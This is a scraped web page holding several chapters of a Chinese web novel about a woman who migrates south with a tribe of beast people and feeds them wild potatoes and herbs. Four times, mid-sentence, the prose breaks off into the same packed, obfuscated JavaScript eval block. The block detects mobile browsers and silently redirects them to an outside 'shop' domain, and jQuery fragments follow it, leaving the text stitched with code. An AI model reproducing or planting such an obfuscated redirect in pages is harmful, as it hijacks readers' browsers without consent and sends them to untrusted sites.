;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228595|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地上的野葱、蒜叶和姜叶。“至于其他的,我们不认为他们能够消化。”
好嘛,纯挑食来了。林千平暗自腹诽,全然忘了自己也接受不了直接吃葱蒜。
“那这怎么办?”她看看分好的植物,心里有些痒痒的。野菜烫烫就能吃,调味料用来烤肉也不错,要能挖来蒜和姜就更好了。
“食草兽人会尽量晒干它们,作为路上的应急粮食。”卓娅回应了几声远处的呼唤,又补充道:“你想要可以尽管吃,但别吃太多。记得好好休息,一会儿会有人来给你看伤。”她检查了一下林千平的伤口,随后便匆匆离开了。
石锅里的汤已经被舀干,重岚婆婆给林千平留了一碗,里面还有几块碎肉。“快吃吧,你做得很好。”她笑眯眯地抱走大多数牧草拿去晾晒。
肉汤有些油腻,没多少咸味。芜箐叶还算清爽,林千平把汤囫囵倒进肚子里,放下碗对着野菜发起愁来。
……他们好像,没什么盐啊?
林千平最终只把调味料留了下来,野菜现在不吃的话,还是晒干了比较好。
图姊也在石头上帮忙翻晒牧草,太阳此时已经升起,阳光还未变得灼人,正暖暖地打在每个人身上。
“你和我来一下。”林千平被图姊叫住,放好野菜就默默跟着她走到一顶帐篷跟前。
图姊从帐篷里掏出装有草药的包裹,招手让林千平来近前坐下。
“我叫图姊,昨天是我给你上药的。”她的声音很好听,清新又柔和。林千平随着她自然的动作,低下头乖乖让那双灵巧的手解开伤口上的兽皮。
图姊拿出来的像是蓟草,捣烂或研磨后可以止血消肿。额头上残留的草药被轻轻拨开,林千平有些疼痒,眉毛向上挤了挤。
“别动哦,你伤得不严重,已经不流血了。”图姊应当是部落里专门的“医生”,很快就替她换好药,哄小孩似的安慰道:“乖乖,再过几天就好了,头还会疼吗?”
林千平现在的身体大约是二十来岁的样子,她把握不好这个世界的年龄标准,只能硬着头皮接下这个哄小孩似的称呼:“不疼了,谢谢你。”
“明天我们可能要继续上路,要是有什么不舒服的地方,一定要告诉我,好吗?”图姊抓着林千平的双手,神情认真地嘱咐她。
“好的...呃,我们要上哪儿去呢?”
“我还不太清楚,等晚上首领应当会告诉大家吧。”
林千平见她没有要去忙其他事的意思,急忙抓住机会继续追问:“要去找新的住所吗?”
“不知道,有些人其实更想回到家乡,他们觉得说不定还有家人在那里。”
“那为什么...”为什么不回去呢?
“很多部落都被洪水冲散了,回去的路上还有一条巨大的裂缝,我们走了好多天也没找到能回家的办法。”图姊仿佛听懂了林千平未尽的话语,不紧不慢地回答她。
林千平顿时沉默下来,图姊放她自己呆着,随手整理起药材。
半透明的对话框被反复唤起,又被不停关闭。
共同迁徙...是和他们一起吗?
21. 兽人
林千平伤得确实不重,会晕倒大约还真有克西的功劳在。图姊给她换了个带着斑点的漂亮兽皮,她就这么顶着新造型在营地里晃来晃去瞎溜达。
留在营地的青壮年不多,基本都聚在老人们身边学习鞣制兽皮,或是在一边忙着制作帐篷。
早上见过的那堆毛耳朵少年们也不见踪影,只有还保持着原型的小动物们在互相打闹。那个笑容腼腆的男人就在旁边照看着它们。幼崽的数量不多,狐狸、黑熊、雪兔、猎豹,还有叫声亮丽的梅花鹿,一样一只,一个人倒也能顾得过来。
林千平转了两圈,脑袋上包着的兽皮太过抢眼,没人敢让她帮忙干活。还是重岚婆婆又把她拉到身边,教她在兽皮上扎出小孔,再用骨针缝合起来。
所有人工作时的气氛就像是已经在一起生活了很长时间一样,他们聊着天气、食物、身边谁和谁的关系怎么样了,猜测哪个小崽以后能长得更加强壮......灾难和离别没有打倒这些乐观的兽人,又或许他们早就习惯了这样充满动荡的生活,才会如此阳光地享受每个愉快的当下。
林千平插不上话,但总会适时地做出讲述者最期待的夸张反应,这让气氛变得更加融洽,等到中午做饭时,她已经能和不少人打上招呼了。
午饭还是煮肉汤,不过肉多一些,野菜仍是放得满满。林千平喝着又淡又腥的汤水,有些后悔没能申请跟着去采集植物,至少能挖些姜蒜回来祛祛肉腥味。
这会儿人少,每个人都能分到碗用,这碗有用木头掏的也有用石头凿出来的,林千平拿到的大概是哪个爪子锋利的兽人挖出来的木碗,碗边和碗内布满道道抓痕,歪出来的木刺还有些扎嘴。
只是现在他们前途未卜,连基本饮食都快难以保障,林千平虽然知道点制陶的门道,也不可能在这个时候拿出来尝试。
周边的猎物基本都和她见过的那群角马一样,正在大批量往南迁徙。这并不符合兽人们观察的规律,想来应当是天灾激起了动物们的逃生本能,全都不约而同地想要远离那片开裂的大地。
缺盐、缺粮,甚至还缺睡觉的帐篷,习惯长期打算的现代人林千平焦虑起来,嘴巴一抹又继续干活。
手上不停忙活,脑袋里仍旧不受控制地飞快思考着。午饭时他们用的是块状的岩盐,只用石刀轻轻刮下一层表面而已。草原上可能会有盐湖,食草动物也能通过嗅觉寻找到含盐丰富的盐碱地或矿石,现在如此缺盐,或许也和部落暂时无法分出人手去寻找有关。
营地里留下的年轻人除了干活,最重要的任务其实是保护老幼、看管物资,每天还得有人保持警戒、出门狩猎和采集,要维持这么个大家族的运作,所有劳动力都已经被用上了。
大约还不到十分缺盐的地步,她不再过多思考,转而又想起前进方向的问题来。
忙活到半下午,林千平也只缝了一半的皮子,期间还自己忙活着烧了点水喝。主火堆旁围着石块,大家都会注意着随手添柴,好让火能从早烧到晚。
林千平实在喝不了生水,最后干脆坐在锅子旁专门看顾着,用烧好的水把空碗全都满上了。
“嗷吼——”
一声凶猛的虎啸响起,吓得林千平差点把石锅脱手扔出去。分散在树荫下的兽人们立时活泛起来,几个年轻些的都兴奋地站起身往声音传来的方向跑去。
林千平用发烫的手指捏着耳垂,也探头探脑地在后边看着。不多时,就见几人一起抬着两只体型较大的羚羊回来,克西领头走在前面,兴高采烈地冲营地里的人打招呼:“图姊!千平!我抓到羚羊了!”
这些机警又敏感的动物是最先离开这片土地的种族之一,克西昨天捕猎角马的时候,刚好碰到一小群还滞留在附近的羚羊。只是当时已经抓到猎物,又遇到了林千平,她只能记住大致方位,今天一早天还没亮的时候就跑出去追踪它们的下落。
羚羊的味道要比角马好上不少,皮毛也更厚实柔软,适合做成衣服或包扎伤口的绑带。所有人都很高兴,纷纷动手开始处理这两只猎物。
克西一屁股坐在树荫下,开心地看着其他人剥皮切肉。林千平给她端来一碗还有些温度的熟水,里面加了几段甘草根煮开,那是她从半干的牧草里翻出来的。
“嗯?甜甜的!你从哪找来的泉水?你出去了?”克西放下碗,有些紧张兮兮地抬起她的手脚检查有没有受伤。“不是不是,我加了草根...喂你别抓我脚心啊...”林千平缩起身子笑着,翻了两下躲开克西的手,重岚婆婆过来查看兽皮,正好听到她们的对话。
“草根?食肉兽人能吃得了吗?克西,你没咽下去吧?”这下便又换成克西被掰开嘴巴接受审查,她张着个大嘴啥也说不出来,呜呜地挥手要林千平救她。
林千平拦住就要给人催吐的重岚,急忙解释道:“不不不,我就加在水里煮了一下,没给她盛到碗里呢。”这锅甘草水是最晚煮的,营地里干活的人都没来得及喝上就去处理羚羊了。
重岚的原型是匹枣红色的骏马,她的群马部落就在草原边缘,几乎都以植物为主食。而只用草根煮水来喝在她们那里简直是难以想象的事——毕竟食草动物的胃完全可以消化掉那些粗糙的纤维。
“这样,这样啊...”她若有所思地放开克西,自己跑去石锅边尝味道了。
林千平找到的甘草根其实并不多,应该是兽人们拔草时偶然带出来的。野外很难获得带有明显糖分的东西,大家对甜味的敏感度要比林千平高上不少。
所有人都默契地只咂摸了一小口,石锅里还剩下大半罐汤水,大家不约而同地想把这水留给外出搜集食物的成员们。
卓娅领着的采集队又带回来不少植物,林千平第一个冲去翻找,差点被倒了一头的杂草。
植物的种类没什么变化,芜箐叶少了些,牧草占的比例更大了。林千平抓准时机拦住卓娅,向她请求加入采集队被回避后,只能描述了大蒜和生姜的根茎模样,要她告诉其他人下次若是见到了,千万得挖些回来。
卓娅虽然不明白为什么,但也没有拒绝这个请求,她看起来心情不算太好,匆匆忙忙地又去安排其他琐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228596|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
事。
长着耳朵和尾巴的少年们不久后也回来了,林千平这才发现,他们的原型竟然是一小群毛色相近的灰狼。小狼队由一位黑灰色渐变长发的高大女人领着,他们带回来三只角马,还有若干田鼠和野兔。
这样的收获还算不错,食草兽人多吃些植物也没事,今天的收获还能省下些肉做成路上的干粮。
小狼们喝到了带着甜味的水,又都叽叽喳喳地围在林千平旁边七嘴八舌地要和她聊天。林千平手里分着植物,被几个比自己还高的孩子挤在中间,耳朵里全是嗡嗡的人声,总有一种进了哪家大型犬咖啡厅的错觉。
吃晚饭时,林千平坚持在自己的肉串上绑了几把葱叶和蒜叶。她虽然不喜欢这些调料的口感,但是能接受它们的味道。羚羊肉细腻了不少,咸味还是淡淡的,但新鲜的肉加上葱蒜祛腥的功能,这倒成了她来此地吃过的最美味的一餐了。
兽人们嗅觉灵敏,葱蒜烧烤过后产生的奇异气味令不少食肉兽人频频侧目。克西胆子最大,从林千平手里要来一串就要尝尝味道。林千平赶忙扯下肉串间的草叶,让她就只把肉吃了。克西豪爽地一口撸完焦香的大肉块,边吃边不住连连点头:“好香好香,这草是你们新找来的吗?”
众人都被她的反应逗引得更加好奇,食草兽人们已经闻出这些植物的种类,跑去拿来不少分给在场的其他人。卓娅吃着新式烤肉,神情终于微微放松下来。
饭后,除了负责警戒的人外,其他兽人都被要求聚集到主火堆边。
卓娅站到一块高些的石头上,向大家宣布了最多只能再在此处扎营一天的决定。周围的动物迁徙的迁徙,逃跑的逃跑,食草原型的兽人虽然可以把植物当作主食,但事实上并不能完全脱离肉类生活。这片区域里没有多少食肉兽人能吃的植物,他们也不能确定大地是不是还会开裂,无论如何,现在都已到了决定到底该往哪走的时候。
是继续向西或向东寻找回家的路 ,还是往南移动追上猎物,另寻它处过活?
“想回家的人,请站起来。”数量不多,零零散散。
“那想去南方的人呢?”压倒性的人数站了起来,林千平坐在原地一动不动,被四周的长腿围了一圈。只要能跟着他们迁徙,她倒无所谓往哪个方向前行。
“对不起。”卓娅向那些想回到家乡的人道歉:“我也将选择前往南方,假如你们有谁仍然想要回家,我们会为你们提供食物和帐篷。”
短暂的沉默之后,几名食草兽人站了出来,有老人,也有年轻人。他们只要化成原型,即使只吃植物也可以活上一段时间。卓娅带着他们去领物资,林千平心绪复杂地注视着几人的背影。他们当中有些人刚刚才和她熟悉起来,下午还曾一起愉快地聊过天。
随时可能降临的灾难、短缺的食物、难以跨越的天堑,都无法打消他们对家的思念。
思及此,林千平似乎有些理解他们的心情了。
她在心里默默祈祷,希望这些渴望归家的人们都能得偿所愿,回到家乡。
她也一样。
22. 兽人
隔天,林千平干劲十足地跟着上路了,昨晚任务框里的描述从“共同迁徙(0/3)”变为了“[南方]共同迁徙(1/3)”,这说明她的任务对象的确就是这些由兽人们聚集而成的原始部落。接下来大概只要在路途当中再吸纳两个这样的组织一起抵达南方,任务应该就能完成。
林千平对如此清晰明了的任务轨迹表示非常满意,想来是上个世界里和谐而又文明的辱骂起了作用,这任务的难度一下就降低了不少。
果然,玩游戏就是得骂策划才有用呀!
兽人们脚程很快,林千平的这具身体要比其他人更弱一些,慢慢落在队尾附近。行李大多都被绑到了原型力气较大的食草兽人身上,克西和部分食肉兽人们则需要在队伍前后保持警戒、提前探路。
年老的兽人也已经无法化成兽形,但体力仍比林千平要好得多,重岚走在她身边,有些心疼地照看着她:“千平,你去克西身上坐会儿吧。”比普通老虎还要大上几圈的克西正好换班到队尾,硕大的虎头闻言便顶顶林千平的身体,示意自己非常愿意带着她走。
林千平看看落下的距离,只得点头同意。她爬上克西的后背,还好昨天顺手做了个简单的裤衩,这会儿才不至于被老虎粗糙的毛发扎到屁-股。
她刚稳定好身体,就能明显感觉到队尾的速度立刻提升不少,很快就缩短了与前方队伍之间落开的空隙。林千平不好意思地把额头抵在克西的脖子上,试图遮住发烫的脸。
队伍几乎不怎么休息,只在最热的时候停下来吃了干粮。
他们走的路线已经由两个兽人提前探查过,因此顺利地就找到了水源。大家没有要生火的意思,林千平只能尽量无视水里的漂浮物,捏着鼻子喝下几碗水。
兽人们抓紧小憩了一会儿,直到阳光不那么强烈时才再度出发,林千平仍被要求由克西驮着上路,所有人似乎都默认她应该受到这样的照顾。林千平也不想耽误大家的行程,干脆就在克西的身上撮起草绳来,这样多少还能创造些价值,不至于闲呆着没事浪费劳动力。
一路上看不到其他动物,偶有几只鸟从头顶飞过,也不曾发出叫声。这片草原像是失去了所有鲜活的血液般,沉默地注视着他们的离去。
队伍避开了最晒的日头,此时太阳已经偏西,晚霞把天空打成漂亮的橘红色。林千平搓好一小捆草绳,又费劲巴拉地编了个简易网兜,歪歪扭扭的,也不知道怎么收口,大概最多只能装装木碗罢了。
有几只小狼换班休息,从队头一路跑来克西旁边,互相追打着咬尾巴玩。
两只全身都是银灰毛色的小狼把另一只棕灰配色的扑倒在地,挨个去咬它的嘴筒子。那只小狼发出呜嗷呜嗷的叫声,克西路过纠缠在一起的三个毛团子,一狼赏了一个实心巴掌。
另三只没参加玩耍的小狼变成人形,其中就有那个活泼的双麻花辫姑娘,他们正好奇地看着林千平手上怪模怪样的网兜子。
“阿克拉,那是什么?”麻花辫姑娘拽拽旁边黑色头发的男孩,问道。
名叫阿克拉的少年仔细打量了一番,故作老成地回答她:“是好看的东西,就像木里瓦妈妈经常戴在头上的羽毛一样。”
乌伯塔似懂非懂地收回手,更加迷茫地看着林千平手上的东西。那东西也不好看啊,千平的部落难道抓不到漂亮的飞鸟吗?
跟在他们身后的乌利亚听到对话,干脆直接朝坐在克西背上的林千平问话:“你手上的是什么?”
林千平还在回忆可以伸缩的绳结要怎么打,就听见一道有些不客气的声音。
她转头去看,一个长发披在肩头的男孩眼睛正一眨不眨地盯着她手里的网兜。他的头发也是黑灰渐变色,林千平多看了两眼,没计较他的语气,一边在脑袋里想象他变成狼时的毛发模样,一边回答他:“是网兜,可以用来装东西,但必须是比这些洞更大的…”她正想拿木碗举个例子,却没想到那少年听了这回答,突然头也不回地就往前跑走了。
乌伯塔也听到了林千平给出的解答,立马朝阿克拉叽里咕噜说起自己的想法:“我刚才就觉得不好看,千平是筎萨,筎萨很聪明,她肯定知道好不好看... ...我妈妈也会做草绳,但是我没见过她...”
话题不知怎么的就转到令她伤心的地方上来了,乌伯塔越说声音越轻,也不再拽着阿克拉的手臂,自己低着头默默往前走着。阿克拉察觉到女孩低落的心情,手忙脚乱地想要找些什么新奇的东西逗她开心,急得表情都慌乱起来,他最怕乌伯塔哭了。
好在,去而复返的乌利亚让乌伯塔的注意力转移到他身上,具体一点地说,是转移到了他怀里。乌利亚正抱着迷迷糊糊一脸茫然的短腿小豹子,朝着林千平举起来,要她把小豹子装进网兜里试试。
小豹子才四个多月大,此时被掐住腋下高高举着,尾巴垂在身后不时甩动,情绪十分稳定地打量着四周。
林千平好笑地抱过这位小辛巴,撑开网兜让它钻进去,小豹子的四肢便从网洞里伸出来,脑袋搭在边缘处,像袋小猫似的被拎了起来。
林千平笑得像个开了震动的破手机,乐了半天差点从克西身上翻下去。她又用手护着上下提了提,意外发现这个网兜的承重能力居然还算不错。
三个小狼见状高兴地发出欢呼声,把走在克西前面的另外几只小狼也吸引了过来,大老虎身边顿时被围了个水泄不通。
克西好奇得要命,却也只能先当个合格的大人,把这群捣乱的小鬼都驱赶回前面的队伍中去。脚步随即更快了几分,恨不得立刻就跑到预定的扎营地点,让林千平好好和她说说到底发生了什么。
看管幼崽的那个男人这会儿跑了过来,他热得满头大汗,白皙的双颊泛起大团红晕。他胸前的兽皮里鼓鼓囊囊地塞着一只小雪兔,这两只小崽都没有亲人,只能由他看顾着。克西走在队尾,即使老虎身形庞大,威猛异常,也确实没有队中安全,林千平便把舒服地呆在网兜里的小豹子递还给他,有些不好意思地替那只小狼道歉。
男人神奇地看着这个兜兜,两手举着这袋毛茸茸就回去了。
不知不觉中,太阳已经完全落下。队伍没有停留,借着明亮的月光仍在前行。他们很快便赶到一处聚集着几棵树和一些灌木的落脚点,所有人纷纷卸下并不算太多的行李,准备在此扎营休息。有几人拿着容器前去打水,更多的人则在帮忙捡拾柴火、支起帐篷。
林千平和克西合力搭好一顶帐篷,这将是林千平晚上的住处。尽管克西可以变成原型在外头睡觉,但若是下雨,就得到帐篷里挤挤了。他们赶工的成果还算不错,至少绝大多数人都能在帐篷里避雨,但要想都躺下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228597|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
睡觉可能就不太够了。
卓娅正在火堆旁和小狼队的队长阿祖雅讨论接下来的行程。他们的食物保存得不好,很多早些时候打来的肉烤得不够干,已经开始有变质的迹象。
今天这些肉都要被吃掉,明天食草兽人就必须只吃牧草,把肉留给食肉兽人们。最少还需要两天他们才能追上迁徙的大队动物,尽管这些食物还算不上匮乏,但计划被打乱的焦虑感还是令卓娅忧心忡忡。
林千平呲牙咧嘴地啃完角马肉干,只感觉自己嘴里每个缝隙都卡上了肉丝。她疲惫地长叹一口气,放弃了挑牙的想法。
从一个没有抽水马桶的世界,又来到一个连厕所都没有的地方,还能有比这更糟糕的事吗?
老天奶奶,您到底想要我怎样啊!
“千平千平,这就是你做的...呃,什么东西来着?”克西手里拿着那个粗糙的网兜,凑到生无可恋的林千平眼睛底下翻来覆去地摆弄。
“网兜,装东西用的。”林千平有气无力地回答她,身体虽然不累,精神上却已经被重重打倒,她现在就是个被抽干灵魂的活死人,没多少精力多做什么解释。
就让他们以为这也是天赋的一部分吧。林千平一动不动地躺在半块兽皮上,透过树叶的缝隙看着漫天闪耀的繁星。
“千平,你好厉害啊。”克西挨着她也躺下来,崇拜地夸赞道:“这也是你的天赋吗?还好我把你吓晕了!不对,我不是这个意思... ...”接着又嘟嘟囔囔地解释着。
林千平注意到她一激动就说个不停的小习惯,不由自主地就想起另一个同样话多的人来。
未经污染的天空上,所有星星都挤在一起错落闪烁,这景象既熟悉,又令人陌生。
林千平分不清这是不是地球上的那片星空,她连北斗七星都认不出来。但这并不妨碍她借景思情,想念起那个同样喜欢说话的朋友。
王清虞正在草原上奔跑,她觉得世界上再没有比自己更倒霉的人了。
在这个原始得连厕所都没有的世界里生活已经足够让她一天崩溃十次,现在还得大半夜不睡觉地赶路追踪猎物,她恼火得连气都喘不匀了,呼哧呼哧地停下来歇息,气急败坏地跺着脚朝月亮猛猛大喊了几声。
“呃啊啊啊啊啊啊啊啊!”
"要死啊啊啊啊啊!!!"
林千平睡得很不安稳,后半夜总是睡睡醒醒,日出时分终于深睡了一会儿,忽地又被几声怪叫炸醒。她睁开眼反应了几秒自己在哪,随即顾不得头疼,掀开帐篷就跑出去想要察看情况。
帐篷外躺着克西,晨露令她的毛发微微变潮,一片一片地分了层。她躺在地上使劲伸伸四肢,又打个哈欠,这才爬起来变成人形和林千平打招呼。
“千平,你醒啦?哦,我们也差不多要上路了。”说着便动手收拾帐篷。
“你没听到叫声吗?”林千平四下张望,兽人们陆陆续续地起床,没有人露出惊慌的表情。
克西一块一块拆着兽皮,茫然地摇头:“没有,什么叫声?”
林千平随口敷衍几句,狐疑地看向远方。初升的太阳带来温润的暖意,潮气都被一一晒干,四周只有他们收拾行李的声音,树丛后的草原静谧而又祥和。
如果不是她半梦半醒间的幻觉,那到底什么东西能叫成这个鬼样子?
23.兽人
草草吃了干粮,马上就要启程。克西和林千平仍要走在队尾,她们倒也不急,四处帮忙把行李放到各式各样的动物身上。
林千平相帮着在一只牦牛背上绑好几个帐篷,转过头正想找找克西在哪,就被负责照顾幼崽的丙恩叫住:“千平,你快看!”
林千平仔细看去,发现他正一边一个地用网兜挎着小豹子和小雪兔,两个小朋友似乎还没睡醒,都在网子里四仰八叉地窝着。
这两个网兜看起来比她做的要精致得多,网眼也小了些,就连草绳都比她搓出来的更紧实细致。林千平还未说些什么,丙恩就把她做的那个粗糙扭曲的网兜递了过来,里面还装着一捆草绳。
“谢谢你,千平!这个兜兜真的很好,很凉快!”丙恩个子很高,此时微微弯着腰朝林千平说话,有几缕乱跑的头发从两边垂下,稍稍挡住了他那双高兴的灰色眼睛。
“呃,不...这个其实还可以装别的东西,碗啊果子啊什么的......”林千平有些受宠若惊,赶忙接过自己乱七八糟的杰作想要藏起来,临了还不忘提醒几句网兜的正确使用方法。
她担心小幼崽们被装在这里面太久会不舒服,便又多问了几句:“重岚婆婆他们也能抱着幼崽们走吧,为什么不找他们帮忙呢?”
丙恩再次露出那个清俊而腼腆的笑容,语气自豪地说道:“他们两个晚上睡觉的时候还好,白天要是离开我太久,那就该闹个没完了。”
看得出来,他对自己的工作非常有成就感。能帮上他的忙,林千平也很高兴,于是又找人要了一大把干透的长条牧草绑在腰间,誓要在今天把草编篮子也给做出来。
负责携带牧草的是几位牛羊兽人,他们看着这个连兽型也没有的筎萨小姑娘要去那么多干草,全都哞哞咩咩地提醒她这种粗糙的草吃多了要肚子疼的。林千平听不懂他们的担心,连连道谢后就跑回克西身边,只留下几只动物奇怪地面面相觑。
林千平在小学时跟着阿婆学过编草篮子,她们家附近竹子更多,后来就只做竹编用来换钱了。
要是能穿越到竹林边上该多好啊,竹筐、竹篮、火笼...光簸箕她都能编出好几种样式,哪还需要用什么兽皮装东西啊。她循着模糊的记忆和手里的干草较着劲,磨了一上午才编出个平平的篮底。
中午歇脚的地方是几株枝叶茂密的矮树,这些树稀稀拉拉地四散在地上,中间隔着不远的距离。
林千平和克西坐在树荫下吃着有些变味的干肉,旁边还坐着刚替她拆了兽皮的图姊和几名食草兽人。林千平的伤口已经开始结痂,没有感染的迹象,也就不再需要敷药。
肉的味道很差,但屏住呼吸也还算能勉强咽下。林千平忍着马上要干呕的欲望,像吞药似的把肉撕成小块咽了。
真的要收回对着个任务的好评了,她眼含热泪地在心中友好问候着发布任务的这位不知道有没有家人的策划者,干脆揪了个杂草嚼巴嚼巴清清嘴里的味道。
食草兽人们通常只在赶路时吃干草,牧草味道不好,即使是他们也更愿意吃些新鲜的其他植物。停下来休息的时候,他们总会在附近找些适口的食物换换口味。
林千平实在吃不下肉干,随手把剩下的都塞给克西便跟着那几个食草兽人往草丛里走去。克西嘴里塞着肉,呜呜叫着也追了上来。
他们转了一圈,找到些蔫巴的野菜。林千平被晒得头晕,正要打道回府时,有个熟悉的绿色身影突然从余光掠过。她急忙定睛去看,脚下越走越快,最后小跑着急停在那片植物面前,差点跪倒在地上给它们磕个响头。
这些植物面积不小,但正好藏在一片比较高的草丛里。林千平没去管顶上长着的叶子,转而动手挖起土来。
克西一直紧跟着她,自觉地蹲了下来帮忙刨土。没挖两下,林千平便揪住已经松动的植物,向上拔起,左右抖下泥土,小小的黄色果实就滚到克西身旁。她捡起那些半个巴掌大的小东西,使劲嗅嗅气味,不明所以地问道:“这是什么,能吃的吗?”
林千平已经激动地站起身,向不远处的兽人们挥手示意,完全顾不上回答她的问题。
她情绪高涨,行动力十足,直到挖光了这片野生小土豆,克西才抓回她的注意力:“千平,千平!”林千平催促着其他人抓紧把土豆装起来,一边插空搭理克西:“怎么了?你快装快装。”
“塔维刚才说这种植物容易把人吃坏啊,你装这么多能行吗?”克西莫名其妙地被她的情绪感染了,也不由自主地往兽皮袋子里装起这些果实。林千平头也不抬地回她:“怎么会?这可是谁都能吃的主食啊!”
林千平扎好口袋,兴奋地扛在肩上往树荫走去,感觉自己像是丰收的农场主一般快活。
他们一共挖来三袋个头不大的野生土豆,林千平让其他人都去休息,自己一个人吭哧吭哧把所有绿了或长芽了的果实都挑出来专门放在一个口袋里。
发芽的土豆有毒,土豆叶子实际上也有毒素,食草兽人们大约还没摸清它们的特性,才会对这么个宝贝敬而远之。
下午就要启程之前,卓娅来到了他们这块树荫下。林千平的动静闹得不小,她虽然也知道这种植物的毒性,但林千平辨认植物的天赋令她不得不对这些黄色果子另眼相待。
“把它们放到我背上吧。”卓娅说道。她的原型是巨牦牛,比一般的牦牛还要大上几分,不光驼了好几个帐篷,还带着大量牧草。
林千平一路上都心情极佳,时不时就要发出几段诡异的笑声,甚至还趴在克西身上紧紧抱了她好几下,草编篮子也被丢在一边,就等着晚上扎营时美美吃上烤土豆了。
只是今天似乎走得格外长久,月亮已经出来了好长一段时间,他们仍在向前赶路。林千平约摸着大概九、十点钟,前面的队伍才逐渐慢下来,最终停在几块大石附近。
林千平捧着激动的心甩着颤抖的手,跟着捡来不少柴火,全程围在火堆边等待明亮的火焰升起。
她已经在地里埋进土豆,又拿来其他个头较小的准备直接放
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231008|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在火上烤着吃。她用削尖的树枝串起一溜一口一个的小土豆,守在一旁期待地不停吞咽口水。
其他同样聚在这个火堆边吃饭的兽人被她狂热的态度所震慑,就连聊天说话的声音都轻了下来。
隔壁几个火堆的兽人们也都立着耳朵注意着这边的动静,食肉兽人对筎萨的能力崇拜异常,只等着林千平再发明些他们也能吃的新食物出来;食草兽人多是将信将疑,绝大多数人都不太同意她的说法,现下只是期待这件事最终的结果而已。
树枝上靠前的土豆逐渐变软,表皮慢慢炸开,露出粉糯的内里。林千平摘下几个快要裂开掉进火里的土豆,掰开其中一个,意思意思吹了吹发烫的果肉,随后迫不及待地用门牙啃下一些尝尝味道。
寡淡、柔软但是无比熟悉的味道鼓励着她一口一口吃完这颗金子般的小土豆。
她吃得虔诚,近乎热泪盈眶,感动得鼻涕泡都差点冒出来。林千平擦擦湿润的眼角,把熟了的土豆挨个分给在场的其他人,要他们也试试味道。
克西经过这两天的见识,对她的任何决定几乎称得上无条件信赖。她学着林千平的样子剥开沾着灰土的外皮,朝里面漂亮的果肉使劲吹了好久,才慢慢小口小口品尝起来。
这果子没什么刺激气味,尝起来湿润,吃多了却干巴。克西觉得虽然比不上肉好吃,但至少比起其他绿叶植物来说,味道要好多了。
林千平小心挖出火堆下埋着的土豆,用树枝叉起一个查看熟度,这一枚个头有半个巴掌大,但在火里埋了快四十分钟,也早就熟透了。当天晚上,所有人都分到了一颗或大或小的黄色果实,食肉兽人觉得味道一般,但也算占肚子;食草兽人吃得谨慎,有些甚至偷偷藏了起来,不敢尝试。
林千平见状,凑到吃完土豆的卓娅身边悄悄耳语几句,卓娅便挂着些笑意站起身来向大家说明情况:“千平说,这种‘土豆’只有发芽或是外表变成绿色的果实才是有毒的,叶子吃多了也会不舒服,这些黄色的果子是可以吃的。”林千平见她把自己供了出来,蹲在地上急得要去抓她,手在空中挥了两下又收回来捂住脸,就这样保持着怪异的姿势默默挪回克西身边。
克西沾了林千平的光,多吃了她剩下的半个土豆,又随便吃了几串肉就把自己塞饱了,比平时吃少了的大老虎闹不明白是怎么回事,闷闷不乐地啃着指头粗的树枝磨牙。
林千平问她怎么了,她才忧郁地说出自己的烦恼:比昨天走的路更长,吃得却更少,她是不是要生病了?
“这土豆是比其他植物更饱肚子一点,你没感觉出来吗?”
“是这样吗?...那你再给我尝一个呗。”克西咂咂嘴,挤到林千平旁边看她拿着的口袋。
“这边半袋是发芽不能吃的,你别动啊...”
虽然没多少份量,但也算是节省下了一些粮食,卓娅隔着火堆看向在和克西聊天的林千平,没来由地就从心中升起一阵好运将至的预感。
明天应当会更加顺利吧?她想。
24.兽人
今天完全就是倒霉到家了啊!
林千平蹲在石锅旁用石片刮着老姜的外皮,时不时分神注意一下水开了没有。
早晨刚出发没多久,前方开路的小狼们就遇到一群饥肠辘辘的斑鬣狗,它们似乎已经饿得失去理智,不自量力地包围了这支状态良好的兽人队伍。
